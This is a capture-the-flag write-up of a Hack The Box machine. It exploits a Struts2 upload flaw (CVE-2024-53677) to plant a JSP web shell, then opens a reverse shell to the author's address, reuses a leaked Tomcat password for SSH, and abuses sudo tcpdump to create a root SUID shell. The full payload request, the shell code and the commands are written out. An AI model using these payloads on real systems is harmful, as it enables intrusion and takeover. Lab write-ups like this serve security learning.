Exploited CVE-2024-53677 for access, found tomcat-users.xml with james password, then used sudo tcpdump to create SUID /tmp/bash and gained root.
1~ ❯ nmap -sC -sV -p- --min-rate 10000 10.10.11.59
2Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-24 05:14 +0800
3Warning: 10.10.11.59 giving up on port because retransmission cap hit (10).
4Stats: 0:00:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
5Connect Scan Timing: About 80.74% done; ETC: 05:15 (0:00:12 remaining)
6Nmap scan report for 10.10.11.59
7Host is up (0.27s latency).
8Not shown: 56975 closed tcp ports (conn-refused), 8558 filtered tcp ports (no-response)
9PORT STATE SERVICE VERSION
1022/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
11| ssh-hostkey:
12| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
13|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
1480/tcp open http nginx 1.18.0 (Ubuntu)
15|_http-server-header: nginx/1.18.0 (Ubuntu)
16|_http-title: Did not follow redirect to http://strutted.htb/
17Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
18
19Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
20Nmap done: 1 IP address (1 host up) scanned in 82.55 seconds
On this website, you can upload an image file (JPG, JPEG, PNG, or GIF) and instantly get a shareable link. That way, your image is stored securely online and can be easily shared anywhere.
let’s try upload an image and see the behavior, as we can see the URL. it is short but the image was uploaded to http://strutted.htb/uploads/20250923_213437/pixelpayload.png.
If you scroll further down the page, you’ll see that they also provide a Docker image setup. This Docker image contains the full environment (Strutted™) as a ready-to-use configuration.
as we can see from the files after searching it use Tomcat, after some researching i found that it is a web server and servlet container for running java applications.
.war
files.How it work
web.xml
to map url to class something like <action name="s/{id}"class="org.strutted.htb.URLUtil"><param name="id">{1}</param><result name="success">/WEB-INF/showImage.jsp</result><result name="error">/WEB-INF/error.jsp</result></action>
some file
context.xml
→ Tomcat context configuration (defines application-specific settings, database resources, etc.).tomcat-users.xml
→ Defines Tomcat users, roles, and credentials (used for the Tomcat Manager GUI). we have admin passsword skqKY6360z!Y, does not work i try to log to ssh.README.md
→ Documentation for the project.Dockerfile
→ Instructions to build a Docker image for this application.strutted/
→ the main web application source folder (Java classes, JSPs, servlets, etc.).pom.xml/
→ have list of Dependencies (external libraries like Struts, Spring, Tomcat, etc.)after searching in the downloaded docker image i found the source code logic for the upload which is so simple it just check the content-Len, image type, magic bytes. and uploaded to /upload/random_num/img
. also i found the pom.xml
after searching all these dependencies, i found interesting CVE.
1 <properties>
2 <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
3 <maven.compiler.source>17</maven.compiler.source>
4 <maven.compiler.target>17</maven.compiler.target>
5 <struts2.version>6.3.0.1</struts2.version>
6 <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
7 <maven.javadoc.skip>true</maven.javadoc.skip>
8 <jackson.version>2.14.1</jackson.version>
9 <jackson-data-bind.version>2.14.1</jackson-data-bind.version>
10 </properties>
the vulnerability lead to RCE. struts 2 uses OGNL (Object-Graph Navigation Language): is a language inside struts that maps from fields to java objects, in the background for example from field named user.name in html could automatically set user.setNname(,,) in java. this is very convenient but dangerous if input to restricted. example:
1<input type="text" name="user.name" value="John"/>
If your action class has:
1public class UserAction {
2 private User user; // with setter/getter
3}
OGNL automatically does:
1user.setName("John");
so we will target FileUploadInterceptor
it is class in the struts2, it’s job is to take uploaded file and read their name,content-Len, type. and file object then save them to a specific folder. t uses OGNL to assign these metadata fields internally. This allows an attacker to inject OGNL expressions in uploadFileName or uploadContentType.
this is the request i used as we can see there is couple of notes. first we must add the magic byte for the png which is PNG
, then in the name it changed to Upload
because remember OGNL convert name to java object. so it case sensitive. this is the first part of the multipart the second part we want to trigger top.UploadFileName
to change the directory of the file and change the extension to JSP.
1POST /upload.action;jsessionid=D7FF925A5A7B9752B5D9D88CDE982EE9 HTTP/1.1
2Host: strutted.htb
3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: en-US,en;q=0.5
6Accept-Encoding: gzip, deflate
7Referer: http://strutted.htb/
8Content-Type: multipart/form-data; boundary=----geckoformboundarye7364de1f9f1ba32c8cc88e27633138
9Content-Length: 326
10Origin: http://strutted.htb
11Connection: keep-alive
12Cookie: JSESSIONID=D7FF925A5A7B9752B5D9D88CDE982EE9
13Upgrade-Insecure-Requests: 1
14Priority: u=0, i
15
16------geckoformboundarye7364de1f9f1ba32c8cc88e27633138
17Content-Disposition: form-data; name="Upload"; filename="pixelpayload.png"
18Content-Type: image/png
19
20PNG
21<%@ page import="java.io.*, java.util.*, java.net.*" %>
22<%
23 String action = request.getParameter("action");
24 String output = "";
25
26 try {
27 if ("cmd".equals(action)) {
28 // Execute system commands
29 String cmd = request.getParameter("cmd");
30 if (cmd != null) {
31 Process p = Runtime.getRuntime().exec(cmd);
32 BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
33 String line;
34 while ((line = reader.readLine()) != null) {
35 output += line + "\n";
36 }
37 reader.close();
38 }
39 } else if ("upload".equals(action)) {
40 // File upload
41 String filePath = request.getParameter("path");
42 String fileContent = request.getParameter("content");
43 if (filePath != null && fileContent != null) {
44 File file = new File(filePath);
45 try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) {
46 writer.write(fileContent);
47 }
48 output = "File uploaded to: " + filePath;
49 } else {
50 output = "Invalid file upload parameters.";
51 }
52 } else if ("list".equals(action)) {
53 // List directory contents
54 String dirPath = request.getParameter("path");
55 if (dirPath != null) {
56 File dir = new File(dirPath);
57 if (dir.isDirectory()) {
58 for (File file : Objects.requireNonNull(dir.listFiles())) {
59 output += file.getName() + (file.isDirectory() ? "/" : "") + "\n";
60 }
61 } else {
62 output = "Path is not a directory.";
63 }
64 } else {
65 output = "No directory path provided.";
66 }
67 } else if ("delete".equals(action)) {
68 // Delete files
69 String filePath = request.getParameter("path");
70 if (filePath != null) {
71 File file = new File(filePath);
72 if (file.delete()) {
73 output = "File deleted: " + filePath;
74 } else {
75 output = "Failed to delete file: " + filePath;
76 }
77 } else {
78 output = "No file path provided.";
79 }
80 } else {
81 // Unknown operation
82 output = "Unknown action: " + action;
83 }
84 } catch (Exception e) {
85 output = "Error: " + e.getMessage();
86 }
87
88 // Return the result
89 response.setContentType("text/plain");
90 out.print(output);
91%>
92------geckoformboundarye7364de1f9f1ba32c8cc88e27633138
93Content-Disposition: form-data; name="top.UploadFileName"
94
95../../shell.jsp
96------geckoformboundarye7364de1f9f1ba32c8cc88e27633138--
you might be wondering why adding it here ../../shell.jsp
and no just ../shell.jsp
the because in web.xml file we can see that is configured to serve all the files as static in /upload/* as we can see
1<servlet-mapping>
2 <servlet-name>staticServlet</servlet-name>
3 <url-pattern>/uploads/*</url-pattern>
4</servlet-mapping>
5
after than we can use curl do this command:
curl --output -'http://strutted.htb/shell.jsp'--data-urlencode 'action=upload'--data-urlencode 'path=/tmp/s.sh'--data-urlencode 'content=bash -i >&/dev/tcp/10.10.15.45/80810>&1'
then open listener and run the script:
curl --output -'http://strutted.htb/shell.jsp'--data-urlencode 'action=cmd'--data-urlencode 'cmd=bash /tmp/s.sh'
and you will get a connection back.
we have a root user and james we have no access to his /home.
1cat /etc/passwd | grep "sh$"
2root:x:0:0:root:/root:/bin/bash
3james:x:1000:1000:Network Administrator:/home/james:/bin/bash
i found the password does not work for admin and james. and we see the role is manager so it might be something related to manage. i tried everything i found nothing then when i log to ssh it worked! it will be interesting to see why when we get root access.
1!--
2 <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
3 <user username="robot" password="<must-be-changed>" roles="manager-script"/>
4 <role rolename="manager-gui"/>
5 <role rolename="admin-gui"/>
6 <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
7--->
8<!--
9 The sample user and role entries below are intended for use with the
10 examples web application. They are wrapped in a comment and thus are ignored
11 when reading this file. If you wish to configure these users for use with the
12 examples web application, do not forget to remove the <!.. ..> that surrounds
13 them. You will also need
as we can see we logged in to ssh as james
as we can see we can run tcpdump as admin. let’s see what we can do https://gtfobins.github.io/gtfobins/tcpdump/
1james@strutted:~$ sudo -l
2Matching Defaults entries for james on localhost:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
4
5User james may run the following commands on localhost:
6 (ALL) NOPASSWD: /usr/sbin/tcpdump
the vulnerability is in Some programs don’t properly drop those privileges when they spawn subprocesses, which can be abused to execute arbitrary commands as root.as we can see the file was created by the root.
cp /bin/bash /tmp/0xdf
→ copies the system’s Bash shell binary to /tmp/0xdf
.chmod 6777 /tmp/0xdf
→ sets permissions:1COMMAND='cp /bin/bash /tmp/cmd; chmod 6777 /tmp/cmd'
2TF=$(mktemp)
3echo "$COMMAND" > $TF
4chmod +x $TF
5sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
At first, I was confused about the password for SSH. Let’s analyze why it works for SSH but not when using su
. Interestingly, when we obtained root access, the same password worked. This suggests that there might be a misconfiguration somewhere in the system.
let's see the running services
1james@strutted:/root$ systemctl list-units --type service --state running
2 UNIT LOAD ACTIVE SUB DESCRIPTION
3 auditd.service loaded active running Security Auditing Service
4 cron.service loaded active running Regular background program processing daemon
5 dbus.service loaded active running D-Bus System Message Bus
6 getty@tty1.service loaded active running Getty on tty1
7 irqbalance.service loaded active running irqbalance daemon
8 ModemManager.service loaded active running Modem Manager
9 multipathd.service loaded active running Device-Mapper Multipath Device Controller
10 networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd
11 nginx.service loaded active running A high performance web server and a reverse proxy server
12 open-vm-tools.service loaded active running Service for virtual machines hosted on VMware
13 polkit.service loaded active running Authorization Manager
14 rsyslog.service loaded active running System Logging Service
15 ssh.service loaded active running OpenBSD Secure Shell server
16 systemd-journald.service loaded active running Journal Service
17 systemd-logind.service loaded active running User Login Management
18 systemd-networkd.service loaded active running Network Configuration
19 systemd-resolved.service loaded active running Network Name Resolution
20 systemd-timesyncd.service loaded active running Network Time Synchronization
21 systemd-udevd.service loaded active running Rule-based Manager for Device Events and Files
22 tomcat9.service loaded active running Apache Tomcat 9 Web Application Server
23 udisks2.service loaded active running Disk Manager
24 user@1000.service loaded active running User Manager for UID 1000
25 vgauth.service loaded active running Authentication service for virtual machines hosted on VMware
26
27LOAD = Reflects whether the unit definition was properly loaded.
28ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
29SUB = The low-level unit activation state, values depend on unit type.
let's see the service config file.
1cmd-5.1# cat /lib/systemd/system/tomcat9.service
2#
3# Systemd unit file for Apache Tomcat
4#
5
6[Unit]
7Description=Apache Tomcat 9 Web Application Server
8Documentation=https://tomcat.apache.org/tomcat-9.0-doc/index.html
9After=network.target
10RequiresMountsFor=/var/log/tomcat9 /var/lib/tomcat9
11
12[Service]
13
14# Configuration
15Environment="CATALINA_HOME=/usr/share/tomcat9"
16Environment="CATALINA_BASE=/var/lib/tomcat9"
17Environment="CATALINA_TMPDIR=/tmp"
18Environment="JAVA_OPTS=-Djava.awt.headless=true"
19
20# Lifecycle
21Type=simple
22ExecStartPre=+/usr/libexec/tomcat9/tomcat-update-policy.sh
23ExecStart=/bin/sh /usr/libexec/tomcat9/tomcat-start.sh
24SuccessExitStatus=143
25Restart=on-abort
26
27# Logging
28SyslogIdentifier=tomcat9
29
30# Security
31User=tomcat
32Group=tomcat
33PrivateTmp=yes
34AmbientCapabilities=CAP_NET_BIND_SERVICE
35NoNewPrivileges=true
36CacheDirectory=tomcat9
37CacheDirectoryMode=750
38ProtectSystem=strict
39ReadWritePaths=/etc/tomcat9/Catalina/
40ReadWritePaths=/var/lib/tomcat9/webapps/
41ReadWritePaths=/var/log/tomcat9/
42
43[Install]
44WantedBy=multi-user.target
45cmd-5.1#
as we can see in security tap NoNewPrivileges=true this set to true which it mean.
NoNewPrivileges is a systemd service unit setting that enhances security by preventing a process and its children from gaining new privileges after startup. When applied to a Tomcat service unit, it ensures that the Tomcat process, and any processes it spawns (e.g., via execve()), cannot elevate their privileges, for instance, by using setuid or setgid bits, or filesystem capabilities.
Published 7 days ago